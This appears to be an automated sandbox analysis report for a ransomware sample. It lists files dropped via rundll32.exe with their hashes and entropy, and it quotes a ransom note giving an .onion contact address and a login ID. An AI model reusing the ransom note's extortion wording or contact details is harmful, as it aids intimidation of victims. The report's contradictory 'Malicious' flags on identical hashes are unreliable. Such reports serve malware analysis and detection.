SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\System\msadc\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClient.man

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	196870
Entropy (8bit):	6.552741689760059
Encrypted:	false
SSDEEP:	3072:Eb7sheIDX8xXOpr02qlAmvAumwHWdlYYDh3D7/yi4J0lXJ:Cs9Agpr02QHmwHWdlfFKi46/
MD5:	025D1CDB58DA2D837282034A4C05D93A
SHA1:	C7D26C5D7772B87BF9465281C252D81C92151554
SHA-256:	1378AF7D94EB5B97FE7CD0541EFC8FD986AD925BD2C5AB568C7DE7247CCC36CD
SHA-512:	89B61DC157A501A01C1A3F24D43C7FA4BA769F32AECF4F31152197CC04DC7C96CDFA47BA5CC3A81F039340BB658A7103BA068D31EB71CAF0CDDB4E700AE745D5
Malicious:	false
Preview:	.q....g....P.e-.ut.jdve...(..^..g.r...L.L[A{,.70\. ..!1.~.2).mentationManifest.. xmlns="http://schemas.microsoft.com/win/2004/08/events".. xmlns:win="http://manifests.microsoft.com/.'..]oQ6.V.I.,x.2 .j\|pd...B..+..j.8....[..\|6.z-...p....#.b.ii.01/XMLSchema">.. <instrumentation>.. <counters xmlns="http://schemas.microsoft.com/win/2005/12/counters" schemaVersion="1.1".C..O.A"...Q.+x.7^./5C..o..j..&.6...B.a^Hz6.~n...w..._z.\|.#5.res.dll".. providerGuid="{2EA0B998-E7E8-41C6-8ABC-093083EA21D7}".. providerType="userMode".. symbol="... ..D../.n.._....[UEO1...._....k.......4bLixP.b..._..0.f{. description="Size of data streamed to disk for each package on the system.".. guid="{687D8F80-FFEA-4DE5-A41F-3....\lV:..W...H<.es./5C..&.....).&...X.\S]x'R.....'...-.0.(:.e="AppV Client Streamed Data Percentage".. symbol="PERF_COUNTER_CLIENT_STREAMSIZESET".. uri="Microsoft.App.`..:.v....X.-i.16.\|$F~...".q..%.;..~

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClient.man.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	196870
Entropy (8bit):	6.552741689760059
Encrypted:	false
SSDEEP:	3072:Eb7sheIDX8xXOpr02qlAmvAumwHWdlYYDh3D7/yi4J0lXJ:Cs9Agpr02QHmwHWdlfFKi46/
MD5:	025D1CDB58DA2D837282034A4C05D93A
SHA1:	C7D26C5D7772B87BF9465281C252D81C92151554
SHA-256:	1378AF7D94EB5B97FE7CD0541EFC8FD986AD925BD2C5AB568C7DE7247CCC36CD
SHA-512:	89B61DC157A501A01C1A3F24D43C7FA4BA769F32AECF4F31152197CC04DC7C96CDFA47BA5CC3A81F039340BB658A7103BA068D31EB71CAF0CDDB4E700AE745D5
Malicious:	false
Preview:	.q....g....P.e-.ut.jdve...(..^..g.r...L.L[A{,.70\. ..!1.~.2).mentationManifest.. xmlns="http://schemas.microsoft.com/win/2004/08/events".. xmlns:win="http://manifests.microsoft.com/.'..]oQ6.V.I.,x.2 .j\|pd...B..+..j.8....[..\|6.z-...p....#.b.ii.01/XMLSchema">.. <instrumentation>.. <counters xmlns="http://schemas.microsoft.com/win/2005/12/counters" schemaVersion="1.1".C..O.A"...Q.+x.7^./5C..o..j..&.6...B.a^Hz6.~n...w..._z.\|.#5.res.dll".. providerGuid="{2EA0B998-E7E8-41C6-8ABC-093083EA21D7}".. providerType="userMode".. symbol="... ..D../.n.._....[UEO1...._....k.......4bLixP.b..._..0.f{. description="Size of data streamed to disk for each package on the system.".. guid="{687D8F80-FFEA-4DE5-A41F-3....\lV:..W...H<.es./5C..&.....).&...X.\S]x'R.....'...-.0.(:.e="AppV Client Streamed Data Percentage".. symbol="PERF_COUNTER_CLIENT_STREAMSIZESET".. uri="Microsoft.App.`..:.v....X.-i.16.\|$F~...".q..%.;..~

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClientIsv.man

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187635
Entropy (8bit):	6.642982170028384
Encrypted:	false
SSDEEP:	3072:l7EiBa8AU/7GGn6iJi5zCCV/hr8fIgXXDCTW0:l+AciJi5zCoIIgHx0
MD5:	CF4113D4ABE58D627FE587741CDC25FC
SHA1:	97D9B0D4CAF255C8C15965BCCFAF1E7B53F68BAA
SHA-256:	72D4A65B09E61315370BCF71700B44417E1E8D1FBDCDA25DD21944776A3AB597
SHA-512:	80B72DC38DB0AA4A6E2E0578038C81E65BB603FB7BD01F486F2C74B7389DB081C1B5F248B83A44089DA31120A9C1EC6396A05DDC2BFE8CE787CE5FED3F3091B3
Malicious:	false
Preview:	K+Y@.co.rT..W3.Z..k...k.=gH...@.."A.m.27.. ..b.6X..H..+....^.mentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/.}OI.4j_eQ..M}.KLR%..p.d,N..In;.m..i.}6..c..7.;y..9..aL......<instrumentation>.. <counters schemaVersion="1.1" xmlns="http://schemas.microsoft.com/win/2005/12/counters">.. <providerWuQ].*z.tN..pjJ.@V=...i.)xC..Z8}..n.Qm.75..l..hS}E..-..`.......998-E7E8-41C6-8ABC-093083EA21D7}" providerType="userMode" symbol="MICROSOFT_APPV_CLIENT_PERFCOUNTERS">.. <counterSet desc.}QY.,wM"t..\.@..[(..{.+kG..]t`..~.Gu.56..)..o.d@.....$N.......ystem." guid="{687D8F80-FFEA-4DE5-A41F-3E1C83378839}" instances="multiple" name="AppV Client Streamed Data Percentage" symbol="P2Fgr..L>Tb.#zBf.zk....M..]o..j.@..o.]#..0..#..aQ:`..<..hH...I.fCounters.StreamSizeCounterSet">.. <counter defaultScale="1" description="The percentage of data streamed from the prim.fX..&x.uU.\Vh..\Zi..c.>k...]1`..v/Qh.?

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVClientIsv.man.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187635
Entropy (8bit):	6.642982170028384
Encrypted:	false
SSDEEP:	3072:l7EiBa8AU/7GGn6iJi5zCCV/hr8fIgXXDCTW0:l+AciJi5zCoIIgHx0
MD5:	CF4113D4ABE58D627FE587741CDC25FC
SHA1:	97D9B0D4CAF255C8C15965BCCFAF1E7B53F68BAA
SHA-256:	72D4A65B09E61315370BCF71700B44417E1E8D1FBDCDA25DD21944776A3AB597
SHA-512:	80B72DC38DB0AA4A6E2E0578038C81E65BB603FB7BD01F486F2C74B7389DB081C1B5F248B83A44089DA31120A9C1EC6396A05DDC2BFE8CE787CE5FED3F3091B3
Malicious:	false
Preview:	K+Y@.co.rT..W3.Z..k...k.=gH...@.."A.m.27.. ..b.6X..H..+....^.mentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/.}OI.4j_eQ..M}.KLR%..p.d,N..In;.m..i.}6..c..7.;y..9..aL......<instrumentation>.. <counters schemaVersion="1.1" xmlns="http://schemas.microsoft.com/win/2005/12/counters">.. <providerWuQ].*z.tN..pjJ.@V=...i.)xC..Z8}..n.Qm.75..l..hS}E..-..`.......998-E7E8-41C6-8ABC-093083EA21D7}" providerType="userMode" symbol="MICROSOFT_APPV_CLIENT_PERFCOUNTERS">.. <counterSet desc.}QY.,wM"t..\.@..[(..{.+kG..]t`..~.Gu.56..)..o.d@.....$N.......ystem." guid="{687D8F80-FFEA-4DE5-A41F-3E1C83378839}" instances="multiple" name="AppV Client Streamed Data Percentage" symbol="P2Fgr..L>Tb.#zBf.zk....M..]o..j.@..o.]#..0..#..aQ:`..<..hH...I.fCounters.StreamSizeCounterSet">.. <counter defaultScale="1" description="The percentage of data streamed from the prim.fX..&x.uU.\Vh..\Zi..c.>k...]1`..v/Qh.?

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVIsvSubsystems64_msix.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	161490
Entropy (8bit):	7.201527893809045
Encrypted:	false
SSDEEP:	3072:itSt02fyr60Uk076lhcmvtBeV/kYclK+ztQZy07NgsnuIv1:itSzD00uRreV8DlK+z6/7hH
MD5:	D979AAABCB0EB58753FFDB0B4D17ED86
SHA1:	38FC625B77FF5745B044396F6066C5AF7C9A45A0
SHA-256:	8B7FE50C885174FFBBA51CC1C115842F64111EBA4A0935119AAC51E65BF3BC6B
SHA-512:	686BBA5EC09282F8F4DDAF506B3DA0C3BA5870628483E24D0A2C0B604894B780DE0DE6857E866DAA8A417CA51B84FD6F82D8FB42A0049984E2E3650571BC73EA
Malicious:	false
Preview:	)d".1.u..........e !.O.C_.{.vu.G....UZ4y.....?z&.+.~..A..5........!..L.!This program cannot be run in DOS mode....$..........P.D.P.D.P.D.G.[.D.A...D.@.B.D.0.@.^.D.0.G.Z.D.0.A...D....a.13~.}..#.(.f7....qG2...}..V..]..F1.5.?z&.+.~..A..5PE..d....".e.........." ... .....................................................p......bo....`A................................d>..".u..........g ..O.C_.{.vu.g....UR.{....._x&c...V.A...5....................(...0...@............@..`............................text...\-.......................... ..`.rdata.......@..d...2.t.....[.....e a...'>...vuYX....UZ8y..8..?z&.+.~..A.....pdata..$.... ......................@..@_RDATA..\....@......................@..@.c2r.c..f....P...........................reloc...;..2.w.....[8....e !.O.C_.;.v7.G....UZ4y.....?z&.+.~..A..5................................................................................................................................d>..2.u.....[.....e !.O.C_.{.vu.G....U

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVIsvSubsystems64_msix.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	161490
Entropy (8bit):	7.201527893809045
Encrypted:	false
SSDEEP:	3072:itSt02fyr60Uk076lhcmvtBeV/kYclK+ztQZy07NgsnuIv1:itSzD00uRreV8DlK+z6/7hH
MD5:	D979AAABCB0EB58753FFDB0B4D17ED86
SHA1:	38FC625B77FF5745B044396F6066C5AF7C9A45A0
SHA-256:	8B7FE50C885174FFBBA51CC1C115842F64111EBA4A0935119AAC51E65BF3BC6B
SHA-512:	686BBA5EC09282F8F4DDAF506B3DA0C3BA5870628483E24D0A2C0B604894B780DE0DE6857E866DAA8A417CA51B84FD6F82D8FB42A0049984E2E3650571BC73EA
Malicious:	false
Preview:	)d".1.u..........e !.O.C_.{.vu.G....UZ4y.....?z&.+.~..A..5........!..L.!This program cannot be run in DOS mode....$..........P.D.P.D.P.D.G.[.D.A...D.@.B.D.0.@.^.D.0.G.Z.D.0.A...D....a.13~.}..#.(.f7....qG2...}..V..]..F1.5.?z&.+.~..A..5PE..d....".e.........." ... .....................................................p......bo....`A................................d>..".u..........g ..O.C_.{.vu.g....UR.{....._x&c...V.A...5....................(...0...@............@..`............................text...\-.......................... ..`.rdata.......@..d...2.t.....[.....e a...'>...vuYX....UZ8y..8..?z&.+.~..A.....pdata..$.... ......................@..@_RDATA..\....@......................@..@.c2r.c..f....P...........................reloc...;..2.w.....[8....e !.O.C_.;.v7.G....UZ4y.....?z&.+.~..A..5................................................................................................................................d>..2.u.....[.....e !.O.C_.{.vu.G....U

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVScripting.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	423690
Entropy (8bit):	6.912569018760307
Encrypted:	false
SSDEEP:	6144:t2G1NWULQC8Ia6a7D730y/TM+CZ5MYnWsMfD0b8ZeXwums06gLYBxcEhgpEdTofa:t2G1fQgaDOmixcEbduIR9X
MD5:	1B988D8D5E8FB72B96458C6DE9FEF660
SHA1:	BB8FF9E8D286900167CB4B65E4A99886A97F810D
SHA-256:	CE150246C55AC1ECD2CC898D7F6634B830E36573B9B954E625D4939BDA318896
SHA-512:	92B7CDF1EC9A551E61D42B3ACAB3DAD83B1208B5F2A7117F19BAD6AE091DD72F48CB19612CB3F9CB0BF92429FCA04837E3AE696CE5821DCC3B74280D4E8BAFB3
Malicious:	false
Preview:	.#t-..kg.6_.sg...G`.k.vW..z...u..u...`z..y. ..}..C....37y...........!..L.!This program cannot be run in DOS mode....$.........M...M...M......Y...D.g.D...M........G......I......U....:G.b.4..y.=..x..N..........]6.#.t~.2.~.4$.Y.}..C....37y...PE..d...f3.s.........." .........@...............................................`............`A..................................t>..k.'3_..g...B`.j.v...z...u..s...`.... ..=..c....67........................(...P...8............................................text...L........................... ..`.rdata..@.... ...n.t.$.kc.6_4.g.7.G`.k.69......u..u.2..`J..yb%..}..C....379..!.pdata...&.......0..................@..@.rsrc...X....0....... ..............@..@.reloc.. ....@... ...0..............@..B..........t...kc.6_4.g.7.G`.k.v...z...u..u...`z..y. ..}..C....37y.....................................................................................................................................t...kc.6_4.g.7.G`.k.v...z...u..u...

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVScripting.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	423690
Entropy (8bit):	6.912569018760307
Encrypted:	false
SSDEEP:	6144:t2G1NWULQC8Ia6a7D730y/TM+CZ5MYnWsMfD0b8ZeXwums06gLYBxcEhgpEdTofa:t2G1fQgaDOmixcEbduIR9X
MD5:	1B988D8D5E8FB72B96458C6DE9FEF660
SHA1:	BB8FF9E8D286900167CB4B65E4A99886A97F810D
SHA-256:	CE150246C55AC1ECD2CC898D7F6634B830E36573B9B954E625D4939BDA318896
SHA-512:	92B7CDF1EC9A551E61D42B3ACAB3DAD83B1208B5F2A7117F19BAD6AE091DD72F48CB19612CB3F9CB0BF92429FCA04837E3AE696CE5821DCC3B74280D4E8BAFB3
Malicious:	false
Preview:	.#t-..kg.6_.sg...G`.k.vW..z...u..u...`z..y. ..}..C....37y...........!..L.!This program cannot be run in DOS mode....$.........M...M...M......Y...D.g.D...M........G......I......U....:G.b.4..y.=..x..N..........]6.#.t~.2.~.4$.Y.}..C....37y...PE..d...f3.s.........." .........@...............................................`............`A..................................t>..k.'3_..g...B`.j.v...z...u..s...`.... ..=..c....67........................(...P...8............................................text...L........................... ..`.rdata..@.... ...n.t.$.kc.6_4.g.7.G`.k.69......u..u.2..`J..yb%..}..C....379..!.pdata...&.......0..................@..@.rsrc...X....0....... ..............@..@.reloc.. ....@... ...0..............@..B..........t...kc.6_4.g.7.G`.k.v...z...u..u...`z..y. ..}..C....37y.....................................................................................................................................t...kc.6_4.g.7.G`.k.v...z...u..u...

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	268058
Entropy (8bit):	6.7584638912407025
Encrypted:	false
SSDEEP:	6144:JQr9fRzNCCFG6PzdhrdnVHoTL3YSjzqiEWcB:WyCFDvRVHoThWNB
MD5:	63F9AA55EA7B31FC4BAB58868A927B87
SHA1:	9B9C3BE66C6DE88BFABBD46150F84B07AB4CEE58
SHA-256:	C9D3255AEB4489A86D9BFF54DA4BE7BB92E09A365FCC9A0892A160B7F786E1BF
SHA-512:	7A52C9C5E40B5C76A83DDC533B9040CDA54AE7D0188CDC3B75A531C75EBD8A9092A604F51EA441BE8A663E75282C4C5373718A6C4ECC21AE39BBFA79E8468172
Malicious:	false
Preview:	....qVQ..!..].#....L6U.^J.i.(...H..imNU..u..m.m..M........\|...........!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 .......r...w{.dJ.o.....q....Ev.9...i..j{..u..m.=.M`V.....\|.........."......`..........0C.........@.........................................`.......... ..........................................VQ....j#..b.LRA.^.3j....HY.i.TU.=i...m.m..M............8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p.............2VQ^.E...n#....L6..^..i.(...H..imNU..u...m.C..,p........3-.. ..................@..@.rsrc...X...........................@..@.reloc........... ..................@..B...........................rVQ..!...n#....L6U.^..i.(...H..imNU..u..m.m..M...............................................................................................................................................rVQ..!...n#....L6U.^..i.(...H..imNU.

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	268058
Entropy (8bit):	6.7584638912407025
Encrypted:	false
SSDEEP:	6144:JQr9fRzNCCFG6PzdhrdnVHoTL3YSjzqiEWcB:WyCFDvRVHoThWNB
MD5:	63F9AA55EA7B31FC4BAB58868A927B87
SHA1:	9B9C3BE66C6DE88BFABBD46150F84B07AB4CEE58
SHA-256:	C9D3255AEB4489A86D9BFF54DA4BE7BB92E09A365FCC9A0892A160B7F786E1BF
SHA-512:	7A52C9C5E40B5C76A83DDC533B9040CDA54AE7D0188CDC3B75A531C75EBD8A9092A604F51EA441BE8A663E75282C4C5373718A6C4ECC21AE39BBFA79E8468172
Malicious:	false
Preview:	....qVQ..!..].#....L6U.^J.i.(...H..imNU..u..m.m..M........\|...........!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 .......r...w{.dJ.o.....q....Ev.9...i..j{..u..m.=.M`V.....\|.........."......`..........0C.........@.........................................`.......... ..........................................VQ....j#..b.LRA.^.3j....HY.i.TU.=i...m.m..M............8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p.............2VQ^.E...n#....L6..^..i.(...H..imNU..u...m.C..,p........3-.. ..................@..@.rsrc...X...........................@..@.reloc........... ..................@..B...........................rVQ..!...n#....L6U.^..i.(...H..imNU..u..m.m..M...............................................................................................................................................rVQ..!...n#....L6U.^..i.(...H..imNU.

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1401018
Entropy (8bit):	7.287952878159385
Encrypted:	false
SSDEEP:	24576:3MSwyf3v3lkHk42EPGsHsgbdEHBCsvAlYe6HTiGX8Q5Ohz3EF:jw+v3G0ELBbArAcziGX15Ohz30
MD5:	750043AC4EC13B6BBD5839E951734447
SHA1:	1BDC915E0519FA881FFA89665B9F8B38C774C991
SHA-256:	EF6CF598DE3701FCBFC2CF3B85CDDEE6F6ED4C01E793BC9BA4C5D4F3A0D89018
SHA-512:	DA30CB33D4C4667EF3E9E6118CE1FD24189C938B29722A4EEE4C447F4182E6398F63B3A2CAA92457F45CBB718B8B4007E3467FCF6962417D44C1ED02C958F7FF
Malicious:	false
Preview:	,_...K...}..R`...n.B.[.P0.?,7.....f..A.....>.FaK...^4..Cm.^........!..L.!This program cannot be run in DOS mode....$.......................#.............#.......#......#.......#.......B..!2P..}.......w...p.I..8....7.....f..A.....>.FaK....q...l.^ ..............!.........P............................................................@A.................................`......au ....K...}.MR`...nn...n.P(.>,?...I.f..A.....>.FaK...n...m.^....@............................................text............................... ..`.data...............................@...OlP..K..}.A`...n.....P0.?,7...].f..,b....>.FaK...^6...^............@....detourd.....0......................@....detourc.....@......................@..@.c2r.........`..................a.4........MR`I..n.2...P0.,,7.....f..A....~.4.'...F-...^....................@..B........................................................................................................a.4..K...}.MR`...n.B.*..P0.?,7.....f.

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1401018
Entropy (8bit):	7.287952878159385
Encrypted:	false
SSDEEP:	24576:3MSwyf3v3lkHk42EPGsHsgbdEHBCsvAlYe6HTiGX8Q5Ohz3EF:jw+v3G0ELBbArAcziGX15Ohz30
MD5:	750043AC4EC13B6BBD5839E951734447
SHA1:	1BDC915E0519FA881FFA89665B9F8B38C774C991
SHA-256:	EF6CF598DE3701FCBFC2CF3B85CDDEE6F6ED4C01E793BC9BA4C5D4F3A0D89018
SHA-512:	DA30CB33D4C4667EF3E9E6118CE1FD24189C938B29722A4EEE4C447F4182E6398F63B3A2CAA92457F45CBB718B8B4007E3467FCF6962417D44C1ED02C958F7FF
Malicious:	false
Preview:	,_...K...}..R`...n.B.[.P0.?,7.....f..A.....>.FaK...^4..Cm.^........!..L.!This program cannot be run in DOS mode....$.......................#.............#.......#......#.......#.......B..!2P..}.......w...p.I..8....7.....f..A.....>.FaK....q...l.^ ..............!.........P............................................................@A.................................`......au ....K...}.MR`...nn...n.P(.>,?...I.f..A.....>.FaK...n...m.^....@............................................text............................... ..`.data...............................@...OlP..K..}.A`...n.....P0.?,7...].f..,b....>.FaK...^6...^............@....detourd.....0......................@....detourc.....@......................@..@.c2r.........`..................a.4........MR`I..n.2...P0.,,7.....f..A....~.4.'...F-...^....................@..B........................................................................................................a.4..K...}.MR`...n.B.*..P0.?,7.....f.

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32_msix.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	119650
Entropy (8bit):	7.3200757226181485
Encrypted:	false
SSDEEP:	1536:k5Xnc0k/Mgq++s6QNYPsAtY5S7nfzFUDGsBuRs8HccC8s3xji9HnAphEbhMHLCE3:Uo/MpJPPSq8s480xG9HnAHQl+EqMQ1H
MD5:	B2F5C5338C79F300E2F933B0D440857F
SHA1:	A6C0C53A44265E527E72CE390FC0DC206B898B37
SHA-256:	675D169788BCCCEF028BB24B3EC190C62067E1F1C982DBD8E59C4BDCC926C109
SHA-512:	81522DD6E2E005AE79D5D3D78FCDC050EFA83E72D8B95CBAD1CF7D59BB8C8C0DE4A744BB1CD9E689DCABD19DFA6510CF328AE82AD5DDED2663D69C0C2B7C3E98
Malicious:	false
Preview:	...C..vb.m.......{......B.K&..w...d.c...}.>..V....J<.}..l.r...+........!..L.!This program cannot be run in DOS mode....$..............D...D...D...E...D...E\..D...E...D...E...D...E...D...E...D.Zz..B.&c.p.\|..S?.+.j@..5.:..\|.3`S.!..A....V.......J<.}..).r...+...e...........!... .............................................................M....@.........................hd..X.......<.....C..vb.m...2............K...w...d.c...}.>..V....J<.}..0.r...+.Y..@............................................text...8........................... ..`.rdata..@...........................@..@..7..vb.x...B...w......B.K&..w...d.c.....L.V...J<.\|..n.r..+.................reloc...............h..............@..B..........................................................................C..vb.m...2...{......B.K&..w...d.c...}.>..V....J<.}..l.r.+..................................................................................................................................C..vb.m...2...{......B.K&..w...d.c..

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems32_msix.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	119650
Entropy (8bit):	7.3200757226181485
Encrypted:	false
SSDEEP:	1536:k5Xnc0k/Mgq++s6QNYPsAtY5S7nfzFUDGsBuRs8HccC8s3xji9HnAphEbhMHLCE3:Uo/MpJPPSq8s480xG9HnAHQl+EqMQ1H
MD5:	B2F5C5338C79F300E2F933B0D440857F
SHA1:	A6C0C53A44265E527E72CE390FC0DC206B898B37
SHA-256:	675D169788BCCCEF028BB24B3EC190C62067E1F1C982DBD8E59C4BDCC926C109
SHA-512:	81522DD6E2E005AE79D5D3D78FCDC050EFA83E72D8B95CBAD1CF7D59BB8C8C0DE4A744BB1CD9E689DCABD19DFA6510CF328AE82AD5DDED2663D69C0C2B7C3E98
Malicious:	false
Preview:	...C..vb.m.......{......B.K&..w...d.c...}.>..V....J<.}..l.r...+........!..L.!This program cannot be run in DOS mode....$..............D...D...D...E...D...E\..D...E...D...E...D...E...D...E...D.Zz..B.&c.p.\|..S?.+.j@..5.:..\|.3`S.!..A....V.......J<.}..).r...+...e...........!... .............................................................M....@.........................hd..X.......<.....C..vb.m...2............K...w...d.c...}.>..V....J<.}..0.r...+.Y..@............................................text...8........................... ..`.rdata..@...........................@..@..7..vb.x...B...w......B.K&..w...d.c.....L.V...J<.\|..n.r..+.................reloc...............h..............@..B..........................................................................C..vb.m...2...{......B.K&..w...d.c...}.>..V....J<.}..l.r.+..................................................................................................................................C..vb.m...2...{......B.K&..w...d.c..

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2010882
Entropy (8bit):	6.992418301281963
Encrypted:	false
SSDEEP:	49152:H1GpK+sX9HkyYLFE821+rLYMOyl/LZfa9peP4HRsVZwIOYvWQ5OBK9/dBG5MXBEe:H1iesq2fpl1
MD5:	CC088851179D7F4D136F7FE79A61B662
SHA1:	C2FE92BDE099B40A4AFF30CDA9F8BF50C50C9FC9
SHA-256:	5CEF6DF430D77E8087675634412284DC4575D67E620A411DB2AB834F03EFF25B
SHA-512:	587259DE3D49761A14A5B4847BCCB2670738658CC65D522E4875A96869EF1877D16998D6675C9F79DFA396C559C8D59EA9EFBD3698AFE1200809FDC4E39ED7AF
Malicious:	false
